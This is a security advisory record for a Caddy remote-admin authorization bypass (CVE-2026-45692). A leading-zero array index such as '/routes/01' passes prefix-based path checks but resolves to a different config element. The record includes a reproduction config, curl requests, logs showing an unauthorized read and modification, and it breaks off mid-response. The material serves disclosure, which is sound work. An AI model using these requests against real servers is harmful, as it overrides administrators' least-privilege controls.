{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:51:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "This report is not about a normal textual prefix-expansion case.\n\n The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**.\n\n  In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. \n\n  ## AI Disclosure\n\n  The reporter used an LLM to help review the code, reason about the behavior, and help draft this report.\n  The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.\n\n  ## Summary\n\n  A remote admin client certificate restricted to the following path:\n\n  ```text\n  /config/apps/http/servers/srv/routes/0\n```\n  can still read and modify a different array element by requesting:\n\n  /config/apps/http/servers/srv/routes/01\n\n  This happens because:\n\n  - the authorization layer uses string prefix matching\n  - the /config traversal layer parses array indices numerically using strconv.Atoi()\n\n  So:\n\n  - authorization sees /.../01 as matching /.../0\n  - traversal resolves 01 to numeric index 1\n  - the request therefore targets routes[1], not routes[0]\n\n  This is not just a prefix-match quirk. It is an authorization-to-object mismatch.\n\n  ## Why This Is In Scope\n\n  This is a security bug in Caddy\u0027s own code:\n\n  - no browser behavior is involved\n  - no dependency bug is involved\n  - no external system compromise is involved\n  - no third-party software compromise is required\n  - no unsafe content hosting or file upload is required\n\n  This is also not just \u201can unsafe configuration\u201d.\n\n  The configuration explicitly attempts to limit access to one specific path:\n\n  /config/apps/http/servers/srv/routes/0\n\n  But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.\n\n  In short:\n\n  - configured authorization target: routes[0]\n  - actual accessed object: routes[1]\n\n  That difference is caused by Caddy itself.\n\n  ## Relevant Source Code\n\n  Authorization path matching:\n\n  - admin.go:719\n\n  Authorization config comment:\n\n  - admin.go:213\n\n  Config traversal with numeric parsing:\n\n  - admin.go:1201\n  - admin.go:1310\n\n  ## Root Cause\n\n  ### Authorization layer\n\n```\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  ### Traversal layer\n\n  idx, err = strconv.Atoi(idxStr)\n\n  and later:\n\n  partInt, err := strconv.Atoi(part)\n\n  Because of that:\n\n  - allowed path: /config/.../routes/0\n  - requested path: /config/.../routes/01\n  - authorization decision: allowed\n  - actual object selected: routes[1]\n\n  ## Why This Is Not Just a \u201cPrefix\u201d Case\n\n  For a normal path hierarchy, a \u201csubpath\u201d means a child resource of the same authorized object.\n\n  For example:\n\n  - /config/apps/http\n  - /config/apps/http/servers\n  - /config/apps/http/servers/srv/routes/0/handle\n\n  Those are genuine deeper descendants.\n\n  But this case is different.\n\n  Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.\n\n  So:\n\n  - /routes/0 means routes[0]\n  - /routes/01 means routes[1]\n  - /routes/02 means routes[2]\n\n  That means /routes/01 is not a child of routes[0] in object semantics.\n  It is a different array element entirely.\n\n  So even if prefix matching is documented, this case is different because:\n\n  - authorization uses the textual form\n  - traversal uses the numeric form\n  - the two refer to different objects\n\n  This should be treated as an authorization bug rather than a documented prefix behavior.\n\n  ## Security Impact\n\n  A remote admin identity restricted to one /config array element can:\n\n  - read a different array element\n  - modify a different array element\n\n  This breaks least-privilege remote admin policies.\n\n  In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.\n\n  ## Affected Product\n\n  Tested on:\n\n  v2.11.2-3-gdf65455b\n\n  Affected area:\n\n  - remote admin\n  - admin.remote.access_control.permissions.paths\n  - /config API paths containing numeric array indices\n\n  The reporter reproduced this on current HEAD.\n\n\n  ## Minimal Reproduction Configuration\n\n```\n  {\n    \"storage\": {\n      \"module\": \"file_system\",\n      \"root\": \"/tmp/caddy-config-index-storage\"\n    },\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2029\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2031\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\", \"PATCH\"],\n                \"paths\": [\"/config/apps/http/servers/srv/routes/0\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"http\": {\n        \"servers\": {\n          \"srv\": {\n            \"listen\": [\":9088\"],\n            \"routes\": [\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route zero\"\n                  }\n                ]\n              },\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route one\"\n                  }\n                ]\n              }\n            ]\n          }\n        }\n      }\n    }\n  }\n```\n\n  ## Commands\n\n  ### 1. Generate client certificate\n\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj \u0027/CN=remote-admin-client\u0027 \\\n    -keyout client.key \\\n    -out client.crt\n```\n\n  ### 2. Convert to base64 DER\n\n```\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d \u0027\\n\u0027)\"\n```\n  ### 3. Start Caddy\n```\n  go run ./cmd/caddy run --config ./repro.json\n```\n  ## Specific Minimal Reproduction Steps\n\n  ### Step 1: Read the explicitly authorized object\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Step 2: Read a different object using a leading-zero index\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  This shows that a client limited to routes/0 can read routes[1].\n\n  ### Step 3: Confirm that the traversal layer is interpreting the component numerically\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 400 Bad Request\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.\n\n  ### Step 4: Modify the unauthorized object\n```\n  curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n```\n  ### Step 5: Confirm the unauthorized modification\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.\n\n  ## Precise Requests and Captured Output\n\n  ### Authorized read\n```\n  \u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n  \u003c\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Unauthorized read\n```\n  \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n  \u003c\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  ### Numeric index interpretation evidence\n```\n  \u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 400 Bad Request\n  \u003c\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  ### Unauthorized modification\n```\n  \u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003e Content-Type: application/json\n  \u003e Content-Length: 69\n  \u003c\n  \u003c HTTP/1.1 200 OK\n```\n  ### Confirmation of unauthorized modification\n```\n  \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n  \u003c\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  ## Full Log Output\n\n  Relevant startup logs from the reproduction run:\n\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:10:51.148\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:10:51.148\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:10:51.148\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:10:51.149\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:10:51.149\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0003d7580\"}\n2026/03/20 02:10:51.149\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00026fd00\"}\n2026/03/20 02:10:51.149\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:10:51.149\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:10:51.149\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:10:51.149\tINFO\tserving initial configuration\n2026/03/20 02:10:51.156\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:10:51.156\", \"try_again_in\": 86399.999999609}\n2026/03/20 02:10:51.156\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:11:14.787\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"59932\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:11:22.116\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40070\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\npkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\n^C2026/03/20 02:13:47.114\tINFO\tshutting down\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tWARN\texiting; byeee!! \ud83d\udc4b\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:13:47.114\tINFO\tshutdown complete\t{\"signal\": \"SIGINT\", \"exit_code\": 0}\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# ps -ef | rg \u0027caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# ss -ltnp | rg \u0027:2029|:2031|:9088\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:14:52.698\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:14:52.698\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:14:52.698\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:14:52.698\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:14:52.699\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00011d900\"}\n2026/03/20 02:14:52.699\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:14:52.699\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:14:52.699\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:14:52.699\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:14:52.699\tINFO\tserving initial configuration\n2026/03/20 02:14:52.706\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:14:52.706\", \"try_again_in\": 86399.999999659}\n2026/03/20 02:14:52.706\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:15:17.145\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"35382\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:28.746\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"38998\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/02\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46698\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tERROR\tadmin.api\trequest error\t{\"error\": \"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\", \"status_code\": 400}\n2026/03/20 02:15:39.610\tINFO\tadmin.api\treceived request\t{\"method\": \"PATCH\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46712\", \"headers\": {\"Accept\":[\"*/*\"],\"Content-Length\":[\"69\"],\"Content-Type\":[\"application/json\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:39.610\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:15:39.610\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstopped background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0005b6a00\"}\n2026/03/20 02:15:39.611\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:15:39.611\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:39.611\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:15:39.611\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:15:39.612\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:49.018\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"53712\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n\u003c Date: Fri, 20 Mar 2026 02:15:17 GMT\n\u003c Content-Length: 63\n\u003c \n{\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n\u003c Date: Fri, 20 Mar 2026 02:15:28 GMT\n\u003c Content-Length: 62\n\u003c \n{\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 400 Bad Request\n\u003c Content-Type: application/json\n\u003c Date: Fri, 20 Mar 2026 02:15:33 GMT\n\u003c Content-Length: 84\n\u003c \n{\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e Content-Type: application/json\n\u003e Content-Length: 69\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 